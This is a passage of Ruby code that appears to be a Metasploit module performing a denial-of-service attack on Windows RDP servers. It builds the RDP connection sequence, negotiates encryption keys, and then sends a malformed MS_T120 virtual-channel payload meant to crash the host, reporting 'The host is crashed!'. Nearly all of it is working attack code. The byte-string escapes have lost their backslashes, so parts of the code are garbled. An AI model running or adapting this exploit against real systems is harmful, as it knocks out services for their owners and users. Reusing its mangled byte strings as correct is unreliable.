"x18x00" + # capabilitySetType: ??
"x0bx00" + # lengthCapability: 11
"x02x00x00x00x03x0cx00" +
"x1dx00" + # capabilitySetType: ??
"x5fx00" + # lengthCapability: 95
"x02xb9x1bx8dxcax0fx00x4fx15x58x9fxaex2dx1ax87xe2" +
"xd6x01x03x00x01x01x03xd4xccx44x27x8ax9dx74x4ex80" +
"x3cx0excbxeexa1x9cx54x05x31x00x31x00x00x00x01x00" +
"x00x00x25x00x00x00xc0xcbx08x00x00x00x01x00xc1xcb" +
"x1dx00x00x00x01xc0xcfx02x00x08x00x00x01x40x00x02" +
"x01x01x01x00x01x40x00x02x01x01x04"

## type = 0x13 = TS_PROTOCOL_VERSION | PDUTYPE_CONFIRMACTIVEPDU
return(rdp_build_share_control_header(0x13, pdu))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/5186005a-36f5-4f5d-8c06-968f28e2d992
## Client Synchronize - TS_SYNCHRONIZE_PDU - 2.2.1.19 / 2.2.14.1
def pdu_client_synchronize(target_user = 0)
pdu = "x01x00" + # messageType: 1 SYNCMSGTYPE_SYNC
[target_user].pack("S<") # targetUser, 16 bit, unsigned.

## pduType2 = 0x1f = 31 - PDUTYPE2_SCYNCHRONIZE
data_header = rdp_build_share_data_header(0x1f, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9d1e1e21-d8b4-4bfd-9caf-4b72ee91a7135
## Control Cooperate - TC_CONTROL_PDU 2.2.1.15
def pdu_client_control_cooperate()
pdu = "x04x00" + # action: 4 - CTRLACTION_COOPERATE
"x00x00" + # grantId: 0
"x00x00x00x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end


## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4f94e123-970b-4242-8cf6-39820d8e3d35
## Control Request - TC_CONTROL_PDU 2.2.1.16
def pdu_client_control_request()

pdu = "x01x00" + # action: 1 - CTRLACTION_REQUEST_CONTROL
"x00x00" + # grantId: 0
"x00x00x00x00" # controlId: 0

## pduType2 = 0x14 = 20 - PDUTYPE2_CONTROL
data_header = rdp_build_share_data_header(0x14, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/ff7f06f8-0dcf-4c8d-be1f-596ae60c4396
## Client Input Event Data - TS_INPUT_PDU_DATA - 2.2.8.1.1.3.1
def pdu_client_input_event_sychronize()
pdu = "x01x00" + # numEvents: 1
"x00x00" + # pad2Octets
"x00x00x00x00" + # eventTime
"x00x00" + # messageType: 0 - INPUT_EVENT_SYNC

## TS_SYNC_EVENT 202.8.1.1.3.1.1.5
"x00x00" + # pad2Octets
"x00x00x00x00" # toggleFlags

## pduType2 = 0x1c = 28 - PDUTYPE2_INPUT
data_header = rdp_build_share_data_header(0x1c, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

## https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7067da0d-e318-4464-88e8-b11509cf0bd9
## Client Font List - TS_FONT_LIST_PDU - 2.2.1.18
def pdu_client_font_list()
pdu = "x00x00" + # numberFonts: 0
"x00x00" + # totalNumberFonts: 0
"x03x00" + # listFlags: 3 (FONTLIST_FIRST | FONTLIST_LAST)
"x32x00" # entrySize: 50

## pduType2 = 0x27 = 29 - PDUTYPE2_FONTLIST
data_header = rdp_build_share_data_header(0x27, pdu)

## type = 0x17 = TS_PROTOCOL_VERSION | PDUTYPE_DATAPDU
return(rdp_build_share_control_header(0x17, data_header))
end

# ------------------------------------------------------------------------- #

def crash_test(rc4enckey, hmackey)
begin
received = ""
for i in 0..5
received += rdp_recv()
end
rescue RdpCommunicationError
# we don't care
end

vprint_status("Sending DoS payload")
found = false
for j in 0..15
## x86_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000020000000000000"].pack("H*")), rc4enckey, hmackey, "x03xef"))

## x64_payload:
rdp_send(rdp_build_pkt(rdp_build_virtual_channel_pdu(0x03, ["00000000000000000200000"].pack("H*")), rc4enckey, hmackey, "x03xef"))
end
end

def produce_dos()

unless(rdp_connection_initiation())
vprint_status("Could not connect to RDP.")
return(false)
end

vprint_status("Sending initial client data")
received = rdp_sendrecv(pdu_connect_initial(RDPConstants::PROTOCOL_RDP, datastore['RDP_CLIENT_NAME']))

rsmod, rsexp, rsran, server_rand, bitlen = rdp_parse_connect_response(received)

vprint_status("Sending erect domain request")
rdp_send(pdu_erect_domain_request())

vprint_status("Sending attach user request")
received = rdp_sendrecv(pdu_attach_user_request())

user1 = received[9, 2].unpack("n").first

[1003, 1004, 1005, 1006, 1007].each do | chan |
rdp_sendrecv(pdu_channel_request(user1, chan))
end

## 5.3.4 Client Random Value
client_rand = ''
32.times { client_rand << rand(0..255) }
rcran = bytes_to_bignum(client_rand)

vprint_status("Sending security exchange PDU")
rdp_send(pdu_security_exchange(rcran, rsexp, rsmod, bitlen))

## We aren't decrypting anything at this point. Leave the variables here
## to make it easier to understand in the future.
rc4encstart, rc4decstart, hmackey, sessblob = rdp_calculate_rc4_keys(client_rand, server_rand)

vprint_status("RC4_ENC_KEY: #{bin_to_hex(rc4encstart)}")
vprint_status("RC4_DEC_KEY: #{bin_to_hex(rc4decstart)}")
vprint_status("HMAC_KEY: #{bin_to_hex(hmackey)}")
vprint_status("SESS_BLOB: #{bin_to_hex(sessblob)}")

rc4enckey = RC4.new(rc4encstart)

vprint_status("Sending client info PDU") # TODO
pdu = pdu_client_info(datastore['RDP_USER'], datastore['RDP_DOMAIN'], datastore['RDP_CLIENT_IP'])
received = rdp_sendrecv(rdp_build_pkt(pdu, rc4enckey, hmackey, "x03xeb", true))

vprint_status("Received License packet")
rdp_recv()

vprint_status("Sending client confirm active PDU")
rdp_send(rdp_build_pkt(pdu_client_confirm_active(), rc4enckey, hmackey))

vprint_status("Sending client synchronize PDU")
rdp_send(rdp_build_pkt(pdu_client_synchronize(1009), rc4enckey, hmackey))

vprint_status("Sending client control cooperate PDU")
rdp_send(rdp_build_pkt(pdu_client_control_cooperate(), rc4enckey, hmackey))

vprint_status("Sending client control request control PDU")
rdp_send(rdp_build_pkt(pdu_client_control_request(), rc4enckey, hmackey))

vprint_status("Sending client input sychronize PDU")
rdp_send(rdp_build_pkt(pdu_client_input_event_sychronize(), rc4enckey, hmackey))

vprint_status("Sending client font list PDU")
rdp_send(rdp_build_pkt(pdu_client_font_list(), rc4enckey, hmackey))

vprint_status("Sending close mst120 PDU")
crash_test(rc4enckey, hmackey)

vprint_status("Sending client disconnection PDU")
rdp_send(rdp_build_data_tpdu("x21x80"))

return(true)
end

# ------------------------------------------------------------------------- #

def run_host(ip)
## Allow the run command to call the check command.
begin
if(open_connection())
status = produce_dos()
end
rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError, ::TypeError => e
bt = e.backtrace.join("n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}n#{bt}")
rescue RdpCommunicationError => e
vprint_error("Error communicating RDP protocol.")
status = Exploit::CheckCode::Unknown
rescue Errno::ECONNRESET => e # NLA?
vprint_error("Connection reset, possible NLA is enabled.")
rescue => e
bt = e.backtrace.join("n")
vprint_error("Unexpected error: #{e.message}")
vprint_line(bt)
elog("#{e.message}n#{bt}")
ensure

if(status == true)
sleep(1)
unless(open_connection())
print_good("The host is crashed!")
else
print_bad("The DoS has been sent but the host is already connected!")
end
end

disconnect()
end
end

end